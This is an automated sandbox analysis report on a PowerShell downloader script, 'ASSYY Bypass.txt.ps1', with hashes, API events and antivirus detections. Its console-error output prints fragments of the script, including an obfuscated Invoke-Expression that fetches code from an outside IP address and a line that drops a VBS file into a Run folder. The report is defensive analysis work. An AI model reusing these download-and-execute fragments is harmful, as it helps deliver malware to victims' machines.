Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Sept. 30, 2021, 2:20 p.m.	Sept. 30, 2021, 2:22 p.m.

Size	38.8KB
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	`995b51523526051e54b217309b0213af`
SHA256	`08d94d3a8ea1c4e65136c195d26a973ef22796ad660c5eadf8921a3573b65b5c`
CRC32	`2192F33C`
ssdeep	`192:IWAmV4kVsr5LKhl7LP4V7AmK+OXPAH3q/SIQIA7Zc:IWAmVXsr6lqAmPp7Zc`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File "C:\Users\test22\AppData\Local\Temp\ASSYY Bypass.txt.ps1"
2232

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Command line console output was observed (23 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: Invoke-Expression : Unexpected token '(' in expression or statement. console_handle: 0x0000001f	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: At C:\Users\test22\AppData\Local\Temp\ASSYY Bypass.txt.ps1:4 char:18 console_handle: 0x0000002b	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: + Invoke-Expression <<<< $cc console_handle: 0x00000037	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: + CategoryInfo : ParserError: ((:String) [Invoke-Expression], Par console_handle: 0x00000043	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: seException console_handle: 0x0000004f	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: + FullyQualifiedErrorId : UnexpectedToken,Microsoft.PowerShell.Commands.In console_handle: 0x0000005b	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: vokeExpressionCommand console_handle: 0x00000067	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: Set-Content : Could not find a part of the path 'C:\Users\Public\Run\New.vbs'. console_handle: 0x00000087	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: At C:\Users\test22\AppData\Local\Temp\ASSYY Bypass.txt.ps1:16 char:12 console_handle: 0x00000093	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: + Set-Content <<<< -Path C:\Users\Public\Run\New.vbs -Value $Content console_handle: 0x0000009f	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: + CategoryInfo : ObjectNotFound: (C:\Users\Public\Run\New.vbs:Str console_handle: 0x000000ab	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: ing) [Set-Content], DirectoryNotFoundException console_handle: 0x000000b7	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: + FullyQualifiedErrorId : GetContentWriterDirectoryNotFoundError,Microsoft console_handle: 0x000000c3	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: .PowerShell.Commands.SetContentCommand console_handle: 0x000000cf	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: Invoke-Expression : A positional parameter cannot be found that accepts argumen console_handle: 0x00000023	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: t 'http://3.112.173.17/ASYYServer.txt'. console_handle: 0x0000002f	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: At line:1 char:5 console_handle: 0x0000003b	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: + I`EX <<<< (n`e`W`-Obj`E`c`T $EDRFGHNJMKDEFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCF console_handle: 0x00000047	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: VGBHNJSDFGH) console_handle: 0x00000053	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: + CategoryInfo : InvalidArgument: (:) [Invoke-Expression], Parame console_handle: 0x0000005f	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: terBindingException console_handle: 0x0000006b	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: + FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell console_handle: 0x00000077	1	1
WriteConsoleW Sept. 30, 2021, 2:20 p.m.	buffer: .Commands.InvokeExpressionCommand console_handle: 0x00000083	1	1

Uses Windows APIs to generate a cryptographic key (13 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 30, 2021, 2:20 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066bea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 30, 2021, 2:20 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066bea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 30, 2021, 2:20 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066bea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 30, 2021, 2:20 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066bea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 30, 2021, 2:20 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066bea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 30, 2021, 2:20 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066bea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 30, 2021, 2:20 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066bea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 30, 2021, 2:20 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066bea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 30, 2021, 2:20 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066bea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 30, 2021, 2:20 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066bea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 30, 2021, 2:20 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066bea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 30, 2021, 2:20 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066bea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 30, 2021, 2:20 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0066bea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 30, 2021, 2:20 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (31 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0206b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0207f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f39000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 2228224 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x063a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06580000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06581000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06582000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06583000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06584000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06585000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x058c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x058c1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x058c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x058c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x058c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x058c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05581000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x058c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x058d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x058c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f3d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06586000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06587000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 69632 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0658b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0659c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 30, 2021, 2:20 p.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0659d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

File has been identified by 12 AntiVirus engines on VirusTotal as malicious (12 events)

MicroWorld-eScan	Trojan.Script.GenericKDZ.3517
FireEye	Trojan.Script.GenericKDZ.3517
ALYac	Trojan.Script.GenericKDZ.3517
Avast	Script:SNH-gen [Trj]
ClamAV	Ps1.Downloader.Generic-9893341-0
BitDefender	Trojan.Script.GenericKDZ.3517
Ad-Aware	Trojan.Script.GenericKDZ.3517
Emsisoft	Trojan.Script.GenericKDZ.3517 (B)
DrWeb	PowerShell.DownLoader.1457
GData	Trojan.Script.GenericKDZ.3517
MAX	malware (ai score=81)
AVG	Script:SNH-gen [Trj]

ASSYY Bypass.txt.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All